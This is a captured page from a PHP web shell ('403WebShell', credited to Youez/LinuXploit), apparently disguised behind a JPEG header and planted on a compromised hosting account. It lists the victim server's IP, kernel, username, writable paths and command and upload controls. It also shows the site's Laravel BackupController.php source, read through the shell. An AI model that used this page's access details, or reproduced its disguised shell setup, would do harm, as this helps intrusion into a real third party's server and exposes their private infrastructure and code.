����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.145.125.13
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/BackupController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Support\Facades\Artisan;
use Jackiedo\DotenvEditor\Facades\DotenvEditor;


class BackupController extends Controller
{
   

    public function __construct()
    {
        $this->middleware('permission:help.db-backup', ['only' => ['get', 'updatepath', 'process', 'download']]);
        $this->middleware('permission:help.remove-public', ['only' => ['getremove_public', 'remove_public']]);
        $this->middleware('permission:help.system-status', ['only' => ['system_status']]);
        $this->middleware('permission:help.clear-cache', ['only' => ['clearcahe']]);
    }

    public function get()
    {

        Artisan::call('backup:list');

        $html = '<pre>';
        $html .= Artisan::output();
        $html .= '</pre>';

        return view('admin.backup.index', compact('html'));

    }
    public function updatepath(Request $request)
    {
        $input = $request->all();

        $env_update = DotenvEditor::setKeys([

            'DUMP_BINARY_PATH' => $request->DUMP_BINARY_PATH,
       

        ]);

        $env_update->save();

        return back()->with('success',trans('flash.UpdatedSuccessfully'));
    }

    public function process(Request $request)
    {

        if (env('DEMO_LOCK') == 1) {

            return back()->with('deleted', __('This action is disabled in demo!'));
        }

        set_time_limit(0);

        if ($request->type == 'all') {
            Artisan::call('backup:run');
        }

        if ($request->type == 'onlyfiles') {

            Artisan::call('backup:run --only-files');

        }

        if ($request->type == 'onlydb') {

            Artisan::call('backup:run --only-db');

        }

        return back()->with('success', 'Backup completed !', 'Done');

    }

    public function download(Request $request, $filename)
    {

        if (env('DEMO_LOCK') == 1) {

            return back()->with('delete', __('This action is disabled in demo !'));
        }

        if (!$request->hasValidSignature()) {

            return redirect(route('admin.backup.settings'))->with('delete', __('Download Link is invalid or expired !'));
        }

        $filePath = storage_path() . '/app/' . config('app.name') . '/' . $filename;

        $fileContent = file_get_contents($filePath);

        $response = response($fileContent, 200, [
            'Content-Type' => 'application/json',
            'Content-Disposition' => 'attachment; filename="' . $filename . '"',
        ]);

        return $response;

    }

    public function getremove_public()
    {
        return view('admin.removepublic');
    }

    public function remove_public()
    {
        if (env('DEMO_LOCK') == 1) {
            return back()->with('deleted', __('This action is disabled in the demo !'));
        }
        $getstatus = @file_get_contents('../.htaccess');
        if (!$getstatus) {
            $code = '<IfModule mod_rewrite.c>
                RewriteEngine On
                RewriteRule ^(.*)$ public/$1 [L]
              </IfModule>';
            @file_put_contents('../.htaccess', $code);
            return back()->with('success', __('Remove public from URL Successfully!'));
        } else {
            return back()->with('success', __('Already Remove public from URL!'));
        }

    }

    public function clearcahe()
    {
        try {
            Artisan::call('cache:clear');
            Artisan::call('view:cache');
            Artisan::call('view:clear');
            return back()->with('success', __('Clear cache Successfully!'));
        } catch (\Exception $e) {
            return back()->with('deleted', $e->getMessage());
        }
    }

    public function system_status()
    {
        return view('admin.systemstatus');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit